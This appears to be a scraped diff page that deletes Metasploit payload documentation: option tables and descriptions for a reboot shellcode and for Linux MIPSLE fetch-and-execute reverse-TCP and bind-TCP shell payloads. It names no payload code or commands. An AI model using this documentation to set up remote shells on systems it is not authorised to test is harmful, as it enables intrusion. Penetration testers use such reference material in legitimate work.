A very small shellcode for rebooting the system.
|
|
||||||
This payload is sometimes helpful for testing purposes.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,91 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/mipsle/shell/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME fHMIGJaY no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/mipsle/shell_bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
scut
|
|
||||||
vaicebine
|
|
||||||
Vlatko Kosturjak
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME buADmLwtKq no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSLE payload from an HTTP server.
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user